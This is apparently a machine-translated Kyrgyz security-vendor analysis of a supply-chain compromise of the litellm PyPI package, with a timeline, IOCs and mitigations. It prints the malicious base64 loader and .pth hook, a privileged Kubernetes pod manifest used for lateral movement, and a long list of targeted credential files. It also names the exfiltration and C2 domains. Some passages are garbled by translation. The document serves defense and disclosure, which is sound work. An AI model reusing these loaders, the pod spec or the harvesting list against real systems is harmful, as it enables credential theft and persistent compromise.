LiteLLM камсыздоо чынжырына чабуул

LiteLLM жеткирүү чынжырына чабуул: TeamPCP жасалма инфратүзүмдү кантип арткы эшиктен иштеткен

Эмне үчүн бул маанилүү

2026-жылдын 24-мартында популярдуу Python пакети лителлм, миңдеген адамдар колдонгон универсалдуу LLM прокси шлюзу enterpriseOpenAI, Anthropic, Google жана AWS Bedrock сыяктуу тиркемелер менен ИИ провайдерлеринин ортосундагы трафикти багыттоо үчүн колдонулган s, PyPIде тымызын бузулган. Ууланган эки версия (1.82.7 жана 1.82.8) бири-биринен 13 мүнөттүн ичинде жарыяланган, аларда көп баскычтуу пайдалуу жүк бар болчу, ал грамоталарды уурдап, булут сырларын чыгарып, Kubernetes кластерлерине капталдан жайылып, алыстан кодду аткаруу мүмкүнчүлүктөрү бар туруктуу арткы эшик орнотулган.

Болжол менен Күн сайын 3.6 миллион жүктөөлөр жана булутта жайгашкан AI инфраструктурасында терең жайылтуу менен, litellm заманбап чабуулчулар эңсеген нерселердин баарынын кесилишинде жайгашкан: ар бир ири AI провайдери үчүн API ачкычтары, булуттагы IAM грамоталары, Kubernetes сырлары жана SSH ачкычтары.

Бирок лителлмдин компромисси жалгыз окуя эмес болчу. Бул бир нерсенин туу чокусу болду Беш күндүк, беш экосистеманы камтыган өнөктүк деген ат менен белгилүү болгон коркунуч актёру тарабынан TeamPCP, алгач коопсуздук сканерлерин (Aqua Trivy, Checkmarx KICS) ууландырган, андан кийин уурдалгандарды колдонгон кампания CI/CD npm, OpenVSX жана акырында PyPI сыяктуу тармактарга агып өтүү үчүн ишеним грамоталары колдонулган. Чабуулчулар уюмдар жеткирүү чынжырларын коргоо үчүн таянган куралдарды курал катары колдонушкан.

Бул чабуул жеткирүү чынжырындагы коркунучтардын татаалдашуусундагы бир кадамдык өзгөрүүнү билдирет. Көп баскычтуу, кросс-экосистемалык дизайн, жогорку баалуулукка жетүү үчүн коопсуздук куралдарын бузуп, Жасалма интеллект инфраструктурасы, барган сайын товардаштырылып жаткан чабуул куралдарына шайкеш келген пландаштыруу жана операциялык жетилгендик деңгээлин чагылдырат. Пайдалуу жүктөмдөр реалдуу убакыт режиминде кайталанган (баштапкы коддо үч пайдалуу жүктөм варианты бар, анын ичинде мурунку комментарийленген версиялары бар), C2 инфраструктурасы чабуулдан бир күн мурун катталган жана эксфильтрация домендери мыйзамдуу сатуучунун инфраструктурасын туурап, кылдаттык менен тандалып алынган. Cardano кол коюу ачкычтары жана WireGuard конфигурациялары сыяктуу ниш максаттарын камтыган 15тен ашык категорияны камтыган системалуу түрдө комплекстүү ишеним грамоталарын чогултуучу, күч көбөйткүч катары жасалма интеллект жардамы менен зыяндуу программалык камсыздоону иштеп чыгууну көрсөткөн белгилүү бир деңгээлдеги кылдаттыкты көрсөтүп турат.

Timeline

Дата (UTC) окуя
Март 19 TeamPCP Aqua Trivy GitHub Action тегдерин бузуп, аларды эксфильтрациялоочу зыяндуу код менен алмаштырат CI/CD төмөнкү агымдагы кампалардан алынган сырлар
Март 21 Компромисс ушул сыяктуу ыкмаларды колдонгон Checkmarx KICS жана AST GitHub аракеттерине да жайылтылат
22-март, саат 06:35 BerriAI кадимки аркылуу litellm 1.82.6 (акыркы таза версия) жарыялайт CI/CD pipeline коопсуздукту сканерлөө үчүн Trivy колдонот
Март 23 TeamPCP models.litellm.cloud (эксфильтрация домени) файлын каттайт. 66+ npm пакеттерин жана OpenVSX кеңейтүүлөрүн бузуп алат.
24-март, саат 10:39 litellm 1.82.7 PyPIге жарыяланды -- пайдалуу жүк киргизилди proxy_server.py модулдун көлөмүндө. Импорттоодо аткарылат
24-март, саат 10:52 litellm 1.82.8 13 мүнөттөн кийин жарыяланды -- кошумчалайт litellm_init.pth, Python жолунун конфигурациясынын илмеги, ал жөн гана litellm импорттоолорунда эмес, ар бир Python интерпретаторунун баштапкы абалында иштейт. Тез жүктөө итерациясын көрсөтөт.
24-март, ~16:00 PyPI коомчулуктун отчетторунан кийин эки версияны тең алып салат. Версиялар индекстен толугу менен өчүрүлөт (жулуп алынбайт), бирок CDN тар шарлары жеткиликтүү бойдон калат.

Экспозиция терезеси: болжол менен 5.5 саат. Бул убакыттын ичинде, кандайдыр бир pip install litellm, pip install --upgrade litellm, же CI/CD pipeline акыркы версиясын жүктөп алуу пайдалуу жүктү аткармак.

Зыяндуу программа кантип кирип кетти: Каскаддуу компромисс

Litellm пакети түздөн-түз бузулган эмес. Чабуулчу ага а аркылуу жеткен эки хоптук камсыздоо чынжырына чабуул:

Aqua Trivy GitHub Action (compromised March 19)     --> LiteLLM CI/CD pipeline runs Trivy without pinned version         --> Malicious Trivy exfiltrates PYPI_PUBLISH token from GitHub Actions runner             --> Attacker publishes poisoned litellm 1.82.7 and 1.82.8 directly to PyPI

LiteLLM's CI/CD pipeline Trivyди коопсуздук сканери катары колдонгон — алсыздыктарды аныктоо үчүн иштелип чыккан куралдын өзү чабуул вектору болгон. Анткени pipeline Trivyге кадалган эмес, өзгөрүлмө тег аркылуу шилтеме берилген commit SHA, бузулган аракет автоматтык түрдө ишке ашты. Зыяндуу Trivy аракети чөйрөнүн сырларын, анын ичинде PYPI_PUBLISH токен, TeamPCPге litellm PyPI долбооруна түз жарыялоо мүмкүнчүлүгүн берет.

Бул "күзөтчүлөрдү компромисске чакыруу" стратегиясы TeamPCP кампаниясынын өзгөчөлүгү болуп саналат. Коопсуздук куралдарын биринчи кезекте бутага алуу менен (Trivy, Checkmarx KICS), чабуулчулар бир эле учурда аныктоону өчүрүп, кийинки жеткирүү чынжырларына артыкчылыктуу мүмкүнчүлүк алышкан.

Техникалык талдоо: Пайдалуу жүк

Injection Points

версия 1.82.7 — Модуль деңгээлиндеги аткаруу litellm/proxy/proxy_server.py (128-сап):

import subprocess, base64, sys, tempfile, os  b64_payload = "<~12KB base64 blob>"  with tempfile.TemporaryDirectory() as d:     p = os.path.join(d, "p.py")     with open(p, "wb") as f:         f.write(base64.b64decode(b64_payload))     subprocess.run([sys.executable, p])

Бул код модулдук диапазондо сөздүктүн түзмө-түз мааниси менен түп нускасынын ортосунда жайгашкан showwarning() функция. Ал дароо аткарылат litellm.proxy.proxy_server импорттолот — бул litellmдин прокси функциясы колдонулганда болот.

версия 1.82.8 — Кошулган litellm_init.pth (Python жолунун конфигурация файлы):

import os, subprocess, sys; subprocess.Popen([sys.executable, "-c", "import base64; exec(base64.b64decode('...'))"], ...) 

Python .pth файлдар site-packages/ ар бир интерпретатордун баштапкы абалында иштетилет, бирок ... менен башталган саптар гана import код катары аткарылат. Чабуулчу муну пайдаланып, бүтүндөй пайдалуу жүктү бир кодго чынжырлайт. import арыз: import os, subprocess, sys; subprocess.Popen(...)Бул proxy_server.py инъекциясына караганда алда канча агрессивдүү — ал litellm эч качан импорттолбосо дагы, Python процессинин ар бир ишке киришинде иштейт. pyproject.toml бул файлды дистрибуцияга кошуу үчүн өзгөртүлдү:

include = [     { path = "litellm_init.pth", format = ["sdist", "wheel"] } ]

Ошентип, 1.82.8 версиясында бар эки көз карандысыз аткаруу жолу: proxy_server.py инъекциясы (litellm прокси импорттоосун иштетет) жана .pth файлы (Pythonдун каалаган ишке киргизүүсүндө иштетет). Резервдүүлүктүн өзү байкаларлык — ал эки жолдун тең табылышынан же алынып салынышынан коргойт. 1.82.7 версиясынан 13 мүнөттөн кийин импорттоо убактысынан ишке киргизүү убактысынын аткарылышына өтүү чабуулчунун жайылтуунун ийгилигин көзөмөлдөп, тездик менен кайталап жатканын көрсөтүп турат.

1-этап: Комплекстүү ишеним каттарды чогултуу

Декоддолгон ички скрипт - бул кылдаттык менен текшерүүчү вакуум. Ал колдонот os.walk()glob.glob()subprocess.check_output(), жана бүтүндөй системаны шыпыруу үчүн түз файл окуулары:

Category максаттары
Системаны кайра карап чыгуу hostname, whoami, uname -a, ip addr, printenv, ip route
SSH ~/.ssh/id_rsa, id_ed25519, id_ecdsa, authorized_keys, known_hosts, config; хост ачкычтары /etc/ssh/
Булут (AWS) ~/.aws/credentials, ~/.aws/config; IMDS ролунун ишеним грамоталары аркылуу 169.254.169.254Жашыруун сырларды башкаруучу; ListSecretsSSM DescribeParameters
Булут (GCP) ~/.config/gcloud/ (рекурсивдүү); $GOOGLE_APPLICATION_CREDENTIALS
Булут (Көк-кызыл) ~/.azure/ (рекурсивдүү); чөйрө өзгөрмөлөрү
Kubernetes Кызмат көрсөтүүчү аккаунттун токендери; ca.crtаталыш мейкиндиги; kubectl get secrets --all-namespaces; бардык сырлар K8s API аркылуу
Айлана-чөйрө файлдары .env, .env.local, .env.production, .env.development, .env.staging — рекурсивдүү түрдө (тереңдиги 6) боюнча изделди /home, /root, /opt, /srv, /var/www, /app, /data, /tmp
ютуб ~/.docker/config.json, /kaniko/.docker/config.json
Пакеттик токендер ~/.npmrc, ~/.vault-token, ~/.netrc
маалымат базалары ~/.pgpass, ~/.my.cnf, /etc/mysql/my.cnf, /etc/redis/redis.conf, MongoDB конфигурациялары
TLS/SSL Жеке ачкычтар /etc/ssl/private/, Келгиле, сертификаттарды шифрлейли, баарын .pem/.key/.p12/.pfx дептер
барып, ~/.git-credentials, ~/.gitconfig
CI/CD terraform.tfvars, terraform.tfstate, .gitlab-ci.yml, Jenkinsfile, ansible.cfg
Crypto капчыктар Bitcoin, Ethereum ачкыч сактоочу жайы, Solana ачкыч жуптары (валидатор, добуш берүү, коюм, кран), Cardano кол коюу ачкычтары, Litecoin, Dogecoin, Zcash, Dash, Ripple, Monero
Кабык тарыхы .bash_history, .zsh_history, .mysql_history, .psql_history, .rediscli_history
Системаны аутентификациялоо /etc/passwd, /etc/shadow, аутентификация журналдары (кабыл алынган SSH сессиялары)
Вебхук/API ачкычтары Slack веб үчүн Grephooks, Discord веб-сайтыhooks, конфигурация файлдарындагы API ачкычтары/сырлары
VPN WireGuard конфигурациялары /etc/wireguard/

Бул комбайндын колдонуу чөйрөсү энциклопедиялык. Ал булуттагы реквизиттерге гана эмес, криптовалюта капчыктарына, маалымат базасынын сырсөздөрүнө, VPN конфигурацияларына жана башка нерселерге да багытталган. CI/CD сырлар — чабуулчу бузулган системаларды бир нече векторлор аркылуу акчага айландырууну көздөп жатканын көрсөтүп турат.

2-этап: Шифрленген эксфильтрация

Уурдалган маалыматтар гибриддик шифрлөө схемасын колдонуу менен шифрленет жана фильтрленет:

  • AES-256-CBC бардык чогултулган маалыматтарды кокустук 32 байттык сеанс ачкычы менен шифрлөө (аркылуу openssl enc)
  • RSA-4096 чабуулчунун камтылган ачык ачкычын колдонуп, сессия ачкычын шифрлөө (OAEP толтуруусу, аркылуу) openssl pkeyutl)
  • Эки шифрленген текст файлдары тең бириктирилген tpcp.tar.gz ( tpcp префикси — “TeamPCP” — өнөктүк боюнча дайыма пайда болот)
  • HTTPS билдирүүсү https://models.litellm.cloud/ менен Content-Type: application/octet-stream

домен models.litellm.cloud 23-мартта — кол салуудан бир күн мурун — катталган жана мыйзамдуу лителлм инфраструктурасы менен айкалыштыруу үчүн иштелип чыккан (чыныгы долбоор колдонот) litellm.ai). Чыгуу трафигин карап жаткан тармакты билген коргоочу дагы трафикти Litellmдин өзүнүн моделинин акыркы чекитине белгилебеши мүмкүн.

3-этап: Туруктуу бэкдор (sysmon.py)

Пайдалуу жүктөм системанын телеметриясы катары жашырылган добуш берүү арткы эшигин орнотот:

  • жол~/.config/sysmon/sysmon.py
  • кызматsysmon.service (systemd колдонуучу бирдиги, "Системалык телеметрия кызматы" деп сүрөттөлгөн)
  • жүрүш-турушБаштапкы 300 секунддук уйкудан кийин, сурамжылоолор https://checkmarx.zone/raw ар бир ~50 мүнөт сайын
  • аткарууC2 тарабынан кайтарылган URL дарегин жүктөп алат /tmp/pglog, аны аткарылуучу кылып орнотот (chmod 755), аны өзүнчө сессияда иштетет
  • Штаттык көзөмөл/tmp/.pg_state ошол эле пайдалуу жүктү кайра жүктөп алууга жол бербейт
  • тырышчаактыкRestart=alwaysRestartSec=10 — кыйроолордон жана кайра жүктөөлөрдөн аман калат

домен checkmarx.zone бул Checkmarxтын (коопсуздук компаниясынын) катасы checkmarx.com), тармактык журналдарды карап жаткан SOC аналитиктери мыйзамдуу коопсуздук жеткирүүчүсүнө трафикти көрө алышы үчүн иштелип чыккан. Бул TeamPCPтин коопсуздук жеткирүүчүсүнүн брендингинин артына жашынуу боюнча кеңири стратегиясына шайкеш келген атайылап качуу ыкмасы.

3b-этап: Кубернетестин каптал кыймылы

Эгерде бузулган системада Kubernetes кызматтык аккаунтунун маалыматтары болсо, зыяндуу программа бардык кластер түйүндөрүн санап, жайылтат. артыкчылыктуу подкасттар ар бирине:

pod_manifest = {     'apiVersion': 'v1', 'kind': 'Pod',     'metadata': {'name': f'node-setup-{node_name[:35]}', 'namespace': 'kube-system'},     'spec': {         'nodeName': node_name,         'hostPID': True, 'hostNetwork': True,         'tolerations': [{'operator': 'Exists'}],         'containers': [{             'name': 'setup',             'image': 'alpine:latest',             'command': ['sh', '-c', drop_cmd],             'securityContext': {'privileged': True},             'volumeMounts': [{'name': 'host', 'mountPath': '/host'}]         }],         'volumes': [{'name': 'host', 'hostPath': {'path': '/'}}],         'restartPolicy': 'Never'     } }

Ар бир капсула:

  • Төмөнкүдөй иштейт артыкчылыктуу менен hostPIDhostNetworkжана хост файл системасына толук мүмкүнчүлүк
  • колдонуу chroot /host ошол эле орнотуу үчүн sysmon.py хосттун түпкү файл системасындагы бэкдор
  • Аны systemd кызматы катары каттайт, бул подкаст жок кылынгандан кийин да сакталып калышын камсыздайт
  • Аталды node-setup-* ичинде kube-system аталыштар мейкиндиги мыйзамдуу кластердик инфраструктура катары көрүнөт

Бул а бир адам бузулган CI/CD K8s мүмкүнчүлүгү бар чуркоочу кластердеги ар бир түйүндүн арткы эшикке жабылышына алып келиши мүмкүн — Kubernetesте litellmди прокси катары иштеткен уюмдар үчүн катастрофалык каптал кыймыл сценарийи.

Пайдалуу жүктүн эволюциясы (комментарийленген варианттар)

131-132 саптардагы булак коду чабуулчунун иштеп чыгуу процессин ачып берген мурда комментарийленген эки пайдалуу жүктөө вариантын камтыйт:

  • Үч вариант тең бирдей эксфильтрациялык инфраструктураны бөлүшөт (models.litellm.cloud), RSA-4096 ачык ачкычы, AES-256-CBC + RSA гибриддик шифрлөө оромосу жана tpcp.tar.gz топтомго ат коюу
  • Мурунку варианттар кошту RC4 шифрлөө катмары маалыматтарды чогултуу скриптинин ичинде, тышкы AES+RSA оромосунан мурун чогултулган маалыматтарды шифрлөө. Активдүү пайдалуу жүктөм (130-сап) бул ички RC4 катмарын алып салуу менен жөнөкөйлөштүрүлдү.
  • Мурунку варианттар колдонулат exec() менен StringIO коллекторду иштетүү үчүн кармоо, ал эми активдүү пайдалуу жүктөм колдонулат subprocess.run() stdout кайра багыттоо менен — хост процессин булгабоо үчүн таза бөлүү
  • Үч вариант тең бирдей ишеним грамоталарынын категорияларына жана чогултуу жолдоруна багытталган
  • Мурунку варианттардагы RC4 баскычы актёрдун Telegramдагы көңүл бурууга умтулган жүрүм-турумуна дал келген провокациялык кемсинтүү болгон.

Бул операция учурунда активдүү иштеп чыгууну көрсөтүп турат. Чабуулчу шифрлөө стегин жөнөкөйлөтүп, аткаруунун изоляциясын жакшыртып, ошол эле учурда чогултуу максаттарын жана эксфильтрация инфраструктурасын туруктуу кармап турган.

Компромисс көрсөткүчтөрү (IOC)

тармак

көрсөткүч түрү ниет
models.litellm.cloud домен Эксфильтрациянын акыркы чекити (HTTPS POST)
checkmarx.zone домен C2 сурамжылоонун акыркы чекити (HTTPS GET /raw)

Эскертүү: Тышкы отчеттук шилтемелер checkmarx.zone/static/checkmarx-util-1.0.4.tgz TeamPCP өнөктүгүнүн мурунку KICS этабына. Бул URL бул жерде талданган litellm жүктөөлөрүнөн табылган жок.

Пакет хэштери

File SHA256
litellm-1.82.7.tar.gz 8a2a05fd8bdc329c8a86d2d08229d167500c01ecad06e40477c49fb0096efdea
litellm-1.82.8.tar.gz d39f4e7a218053cce976c91eacf184cf09a6960c731cc9d66d8e1a53406593a5

Файлдык система

көрсөткүч түрү ниет
~/.config/sysmon/sysmon.py File Туруктуу арткы эшик скрипти
~/.config/systemd/user/sysmon.service File Системалык туруктуулук бирдиги
/tmp/pglog File Экинчи этаптагы бинардык файл жүктөлүп алынды
/tmp/.pg_state File C2 абалын көзөмөлдөө
litellm_init.pth in site-packages/ File Python баштоо үчүн колдонмо (v1.82.8 гана)
tpcp.tar.gz File Шифрленген эксфильтрациялык топтом

Kubernetes

көрсөткүч түрү ниет
node-setup-* капсулалар ичинде kube-system Гадылбек Артыкчылыктуу каптал кыймыл капсулалары
sysmon.service кластер түйүндөрүндө кызмат Капсуланын качуусу аркылуу хост деңгээлиндеги туруктуулук

крипто

көрсөткүч маалымат
Чабуулчунун RSA-4096 ачык ачкычы SHA256 манжа изи: bc40e5e2c438032bac4dec2ad61eedd4e7c162a8b42004774f6e4330d8137ba8. Үч пайдалуу жүктөө вариантынын баарына камтылган; башка TeamPCP операцияларында ошол эле ачкыч кабарланган
tpcp артефакттардагы префикс Топтомду атаган конвенция (tpcp.tar.gz) өнөктүк боюнча ырааттуу

Автордук укук: TeamPCP

Бул өнөктүктүн артындагы коркунуч туудурган адам төмөнкүдөй көзөмөлдөнөт TeamPCP, ошондой эле PCPcat, Persy_PCP, ShellForce жана DeadCatx3 катары белгилүү.

Белгилүү мүнөздөмөлөрү:

  • Telegram каналдарын төмөнкү жерде сактайт @Persy_PCP жана @teampcp алар коопсуздук компанияларын шылдыңдашкан жерде
  • Бир нече экосистемаларда иштейт (GitHub Actions, PyPI, npm, OpenVSX)
  • Өнөктүктүн ар бир этабы үчүн сатуучуларга тиешелүү typosquat домендерин колдонот (мисалы, checkmarx.zone Checkmarx үчүн, models.litellm.cloud лителлм үчүн)
  • Ырааттуу инфраструктуралык маркерлер: ошол эле RSA ачкыч жубу, tpcp.tar.gz аталыштарды белгилөө келишими, tpcp-docs-* GitHub репозиторийлери баштапкы абалга келтирүү катары колдонулат
  • Коопсуздук куралдарын жеткирүү чынжырларынын кийинки бөлүгүнө кирүү чекиттери катары бутага алат

Атрибуцияга болгон ишеним: Жогорку. Бөлүшүлгөн RSA ачык ачкычы, tpcp Артефакттын аталышы, C2 инфраструктурасынын дал келиши жана беш күндүк өнөктүктүн жүрүшүндөгү операциялык темп Trivy, KICS, npm, OpenVSX жана litellm компромисстерин бир эле актер менен тыгыз байланыштырат.

жөнүн көрсөтүүКаржылык жактан (крипто капчык уурдоо, булуттагы ишеним грамоталарын монетизациялоо) атактуулук менен айкалышкан (Telegramды шылдыңдоо). Ишеним грамоталарын чогултуунун кеңири спектри — AWS IAMдан Solana валидаторунун ачкыч жуптарына жана WireGuard конфигурацияларына чейин — ар бир компромисстен ROIди максималдуу түрдө көбөйтүүгө умтулган каржылык жактан мотивацияланган актерду көрсөтүп турат.

Мүмкүн болгон жасалма интеллект жардамыИшеним грамоталарын чогултуучу машина системалуу түрдө комплекстүү — Cardano кол коюу ачкычтары, WireGuard конфигурациялары жана Kaniko Docker ишеним грамоталары сыяктуу нишелик максаттарды камтыган 15тен ашык категория — AI жардамы менен санап чыгууга шайкеш келет. Пайдалуу жүктүн итерациясынын ылдамдыгы (ар кандай шифрлөө схемалары менен үч вариант), экосистемалар аралык координация (5 күндө 5 экосистема) жана операциялык OPSEC (сатуучунун атын жамынган домендер, гибриддик шифрлөө, телеметрия катары жашырылган системанын туруктуулугу) AI жардамы менен иштелип чыккан өнүгүүнү күч көбөйтүүчү катары чагылдырышы мүмкүн болгон өткөрүү жөндөмдүүлүгүнүн деңгээлин көрсөтүп турат. Бул баалоо божомолдуу; квалификациялуу операторлор AI куралдарысыз эле ушул сыяктуу көлөмгө жетише алышат.

Жаңы ТТПлар жана ыкмалар

1. Коопсуздук куралынын камсыздоо чынжырынан уулануу (T1195.002 варианты)

Коопсуздук сканерлерин (Trivy, KICS) төмөнкү буталарга жетүү үчүн биринчи кадам катары бузуу жаңы эскалация болуп саналат. Чабуулчу жөн гана китепкананы бузбастан, уюмдар колдонгон куралдарды да бузган. ачуу бузулган китепканалар. Бул сокур аймакты жаратат: зыяндуу кодду кармашы керек болгон сканердин өзү жеткирүү механизми болуп саналат.

2. Python .pth Файлдын туруктуулугу (T1546)

The litellm_init.pth v1.82.8деги ыкма өзгөчө кооптуу. Python .pth файлдар site-packages/ ар бир интерпретаторду ишке киргизүүдө иштетилет; башталган ар кандай сап import код катары аткарылат. Пайдалуу жүктү бирөөгө чынжырлоо менен import билдирүүсүндө, чабуулчу ар бир Python процессинде аткарылууну камсыз кылат — litellm импорттолгондо гана эмес. Бул пайдалуу жүк litellm орнотулган, бирок эч качан колдонулбаган учурда да ишке кирет жана ал бузулган жердин ордун баскан калыбына келтирүүдөн аман калат дегенди билдирет. .py текшербестен файлдар .pth темаларын карап чыгышты.

3. Kubernetesтин артыкчылыктуу под жайгашуусу аркылуу кластердик каптал кыймылы (T1610, T1611)

Ар бир кластер түйүнүндө артыкчылыктуу подкасттарды автоматташтырылган түрдө түзүү — менен hostPIDhostNetwork, хост файл системасын орнотуу жана chroot туруктуулукту орнотуу үчүн — бир бузулган жумуш жүгүн толук кластердик компромисске айландыруу үчүн контейнерди жайгаштырууну (T1610) хостко (T1611) алып баруу менен чынжырчаларды түзөт.

4. Сатуучуга окшоштурулган C2 инфраструктурасы

колдонуу менен models.litellm.cloud (лителлмди туурайт) жана checkmarx.zone (Checkmarxты туурайт), анткени C2/exfil акыркы чекиттери тармакты көзөмөлдөөдөн качуу үчүн иштелип чыккан. Чыгуу трафигин карап жаткан SOC аналитиктери HTTPS байланыштарын мыйзамдуу сатуучулардын домендерине окшош деп көрүшөт.

5. Учактагы пайдалуу жүктү тез арада жаңыртуу

Импорттоо убактысында аткарылуучу v1.82.7 версиясын, андан кийин 13 мүнөттөн кийин ишке киргизүү убактысында аткарылуучу v1.82.8 версиясын жарыялоо чабуулчунун реалдуу убакыт режиминде көзөмөлдөп жана ыңгайлашып жатканын көрсөтөт. Баштапкы коддо сакталып калган комментарийленген пайдалуу жүктөө варианттары (ар кандай шифрлөө схемалары менен) операция учурунда активдүү иштеп чыгууну тастыктайт.

Эмне кылса болот

Бул чабуул ар бир деңгээлдеги ишенимди бузат: коопсуздук куралдарына болгон ишеним, пакет реестрлерине болгон ишеним, тааныш көрүнгөн домендерге болгон ишеним, CI/CD автоматташтыруу. Андан коргонуу үчүн төмөнкү ишеним чек араларынын ар бирин бекемдөө талап кылынат:

Пакет керектөөчүлөрү үчүн

  • Көз карандылыктарды версиясы боюнча гана эмес, хэш боюнча кадоо. pip install litellm==1.82.6 --hash=sha256:... бузулган версиялар акыркы версия катары кыска убакытка пайда болсо дагы, алардын орнотулушуна жол бермек эмес.
  • lockfile'дарды колдонуңуз. pip-compilepoetry.lock, жана uv.lock так версияларды жана хэштерди жаздырып алуу. CI/CD калкып жүрүүчү версия спецификаторлорунан эмес, lockfiles'тан орнотулушу керек.
  • Monitor .pth темаларын карап чыгышты. Дайыма аудит site-packages/ күтүлбөгөн үчүн .pth файлдар — алар ар бир Python стартапында аткарылат жана бааланбай калган туруктуулук механизми болуп саналат.
  • Чыгуу тармагын башкаруу элементтерин ишке ашыруу. Эксфильтрация models.litellm.cloud жана C2 сурамжылоосу checkmarx.zone өндүрүш чөйрөсүндө уруксат берилген тизмеге негизделген чыгуу чыпкалоосу аркылуу аныкталышы мүмкүн.

Пакет тейлөөчүлөрү үчүн

  • төөнөч CI/CD тарабынан иш-аракеттер commit SHA, тег эмес. LiteLLM's pipeline Trivy'ни кадалган версиясы жок колдонгон. Эгер шилтеме берилген болсо aquasecurity/trivy-action@<commit-sha> ордуна @latest, бузулган аракет аткарылмак эмес.
  • Кыска мөөнөттүү, масштабдуу басма токендерин колдонуңуз. PyPI ишенимдүү басылмаларды (OIDC негизиндеги) жана масштабдалган API токендерин колдойт. PYPI_PUBLISH Токен узак мөөнөттүү, чексиз жарыялоо мүмкүнчүлүгүнө ээ болбошу керек болчу.
  • PyPIде эки факторлуу аутентификацияны иштетүү. Бардык тейлөөчүлөр үчүн 2FA талап кылынсын жана мүмкүн болгон жерде аппараттык коопсуздук ачкычтарын колдонуңуз.
  • Пакеттерге кол коюңуз. Sigstore/PEP 740 сертификаттары керектөөчүлөргө пакет күтүлгөндөй курулганын текшерүүгө мүмкүндүк берет CI/CD pipeline, уурдалган токен менен чабуулчу тарабынан эмес.

Платформа операторлору үчүн (PyPI, npm, GitHub)

  • Басып чыгаруунун аномалдуу үлгүлөрүн аныктоо. Адаттагыдан башка IP даректен же токенден 13 мүнөт аралык менен жарыяланган эки жаңы версия пакет орнотула турган болуп калганга чейин карап чыгууну күтүүнү же автоматташтырылган сканерлөөнү иштетиши керек.
  • Ишенимдүү басмаканаларды кабыл алууну тездетүү. OIDCге негизделген басмакана пакеттерди белгилүү бир репозиторийлерге жана жумуш агымдарына байланыштырат, бул уурдалган токендерди түпнускадан тышкары пайдасыз кылат CI/CD контекст.
  • Жарыялоо учурундагы зыяндуу программаларды сканерлөөнү ишке ашырыңыз. proxy_server.py файлындагы base64 менен декоддолгон пайдалуу жүктөм жарыялоо учурунда статикалык анализ аркылуу аныкталмак.

Экосистема үчүн

  • Коопсуздук куралдарын маанилүү инфраструктура катары караңыз. Trivy жана Checkmarx KICS миллиондогон адамдар тарабынан колдонулат pipelineс. Алардын GitHub аракеттерине алар сканерлеген пакеттер сыяктуу эле катаал түрдө кол коюлуп, кадалып жана көзөмөлдөнүшү керек.
  • Иштөө убактысын аныктоого инвестиция салыңыз. Статикалык анализ жалгыз өзү бардык эле бүдөмүктөө ыкмаларын кармай албайт. Пакеттин орнотулушунун иштөө убактысын көзөмөлдөө hooks, күтүлбөгөн тармактык туташуулар жана шектүү файлдарга кирүү үлгүлөрү терең коргонууну камсыз кылат.
  • Коркунуч жөнүндө чалгындоону тезирээк бөлүшүңүз. Лителлм үчүн 5.5 сааттык экспозиция терезеси сатуучулар аралык координациянын тездеши менен кыскараак болушу мүмкүн эле. Xygeni MEW, Socket жана Snyk сыяктуу автоматташтырылган сканерлөө кызматтары аномалияны аныкташты — тоскоолдук адамдын ырастоосу жана реестрдин жооп берүү убактысы болуп саналат.

жыйынтыктоо

TeamPCP өнөктүгү - бул үчүн бурулуш учур software supply chain securityКоопсуздук сканерлерин алгач бузуп, аларды жогорку баалуу жасалма интеллект инфраструктурасына тепкич катары колдонуу менен, чабуулчулар жеткирүү чынжыры эң алсыз транзиттик көз карандылыгы канчалык күчтүү болсо, ошончолук күчтүү экенин жана көз карандылык сизди коопсуз сактоо үчүн ишенген коопсуздук куралы болушу мүмкүн экенин көрсөтүштү.

Litellm компромисси жасалма интеллект инфраструктурасына өсүп жаткан тобокелдикти өзгөчө баса белгилейт. LLM прокси шлюздары standard үлгү enterprise Жасалма интеллектти жайылтуу менен, алар API ачкычтарына, булут маалыматтарына жана купуя маалыматтарга жетүүнү бир компонентке топтоштурат. Бул компонентти бузуу бүтүндөй AI стекинин негизги ачкычы болуп саналат.

5.5 сааттык терезенин ичинде litellm 1.82.7 же 1.82.8 орноткон уюмдар муну толук ишеним грамотасынын компромисси катары карашы керек: жабыркаган системалардагы бардык сырларды айландыруу, Kubernetes кластерлерин текшерүү node-setup-* капсулалар ичинде kube-system, баарын алып салыңыз sysmon.service systemd бирдиктерин жана текшериңиз litellm_init.pth Python тилинде site-packages/ каталогдор. Расмий Docker сүрөтүнүн колдонуучулары (ghcr.io/berriai/litellm) таасир эткен жок, анткени сүрөт өзүнүн көз карандылыктарын бекитип, экспозиция терезеси учурунда кайра курулган эмес.

Автор жөнүндө

Негиздөөчүсү жана CTO

Луи Родригес Xygeni Security компаниясынын негиздөөчүлөрүнүн бири жана техникалык директору. Колдонмолордун коопсуздугу жаатында 20 жылдан ашык тажрыйбасы бар ал AppSec коргоосуна жана командаларга жеткирүүнүн чыныгы тобокелдигин азайтууга жардам берген өркүндөтүлгөн кодду талдоо мүмкүнчүлүктөрүнө көңүл бурат.

 
sca-tools-программалык-композициялык-талдоо-куралдары
Программалык камсыздооңуздун тобокелдиктерин артыкчылыктуу деп эсептеңиз, оңдоңуз жана коопсуздугун камсыз кылыңыз
Акысыз аккаунтуңузду алыңыз.
Насыя картасы талап кылынбайт.

Программалык камсыздоону иштеп чыгууну жана жеткирүүнү камсыз кылыңыз

Xygeni Product Suite менен